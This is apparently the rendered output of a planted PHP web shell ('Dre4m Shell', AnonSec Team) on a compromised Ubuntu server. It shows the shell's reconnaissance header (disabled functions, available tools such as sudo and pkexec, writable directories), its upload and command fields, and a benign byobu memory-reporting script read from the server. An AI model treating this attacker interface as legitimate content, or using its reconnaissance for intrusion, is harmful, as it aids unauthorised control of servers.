Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.14.249.46
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/byobu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/byobu/memory
#!/bin/sh -e
#
#    mem_available: grab the current memory and usage
#
#    Copyright (C) 2008 Canonical Ltd.
#    Copyright (C) 2011-2014 Dustin Kirkland
#
#    Authors: Dustin Kirkland <kirkland@byobu.org>
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, version 3 of the License.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>.

__memory_detail() {
	free
}

__memory() {
	local free="" total="" buffers="" cached=""
	local kb_main_used=0 buffers_plus_cached=0 fo_buffers=0 fo_cached=0
	if [ -r /proc/meminfo ]; then
		while read tok val unit; do
			case "$tok" in
				MemTotal:) total=${val};;
				MemFree:) free=${val};;
				Buffers:) buffers=${val};;
				Cached:) cached=${val};;
			esac
			[ -n "${free}" -a -n "${total}" -a -n "${buffers}" -a -n "${cached}" ] && break;
		done < /proc/meminfo
	elif $BYOBU_TEST vm_stat >/dev/null 2>&1; then
		# MacOS support
		# calculation borrowed from http://apple.stackexchange.com/a/48195/18857
		free_blocks=$(vm_stat | grep free | awk '{ print $3 }' | sed -e 's/\.//')
		inactive_blocks=$(vm_stat | grep inactive | awk '{ print $3 }' | sed -e 's/\.//')
		speculative_blocks=$(vm_stat | grep speculative | awk '{ print $3 }' | sed -e 's/\.//')
		free=$((($free_blocks+speculative_blocks)*4))
		inactive=$(($inactive_blocks*4))
		total=$((($free+$inactive)))
		buffers=0
		cached=0
	fi
        kb_main_used=$(($total-$free))
        buffers_plus_cached=$(($buffers+$cached))
        # "free output" buffers and cache (output from 'free')
        fo_buffers=$(($kb_main_used - $buffers_plus_cached))
        fpdiv $((100*${fo_buffers})) "${total}" 0;
        usage=${_RET}
	if [ $total -ge 1048576 ]; then
		fpdiv "$total" 1048567 1
		total=${_RET}
		unit="$ICON_GB"
	elif [ $total -ge 1024 ]; then
		fpdiv "$total" 1024 0
		total=${_RET}
		unit="$ICON_MB"
	else
		unit="$ICON_KB"
	fi
	if [ $usage -gt 90 ]; then
		# Change foreground to yellow, if usage over 90%
		fg="Y"
	else
		fg="W"
	fi
	[ -n "$total" ] || return
	color b g W; printf "%s" "$total"; color -; color g W; printf "%s" "$unit"; color -; color b g "$fg"; printf "%s" "$usage"; color -; color g "$fg"; printf "%s" "$PCT"; color --
}

# vi: syntax=sh ts=4 noexpandtab

Anon7 - 2022
AnonSec Team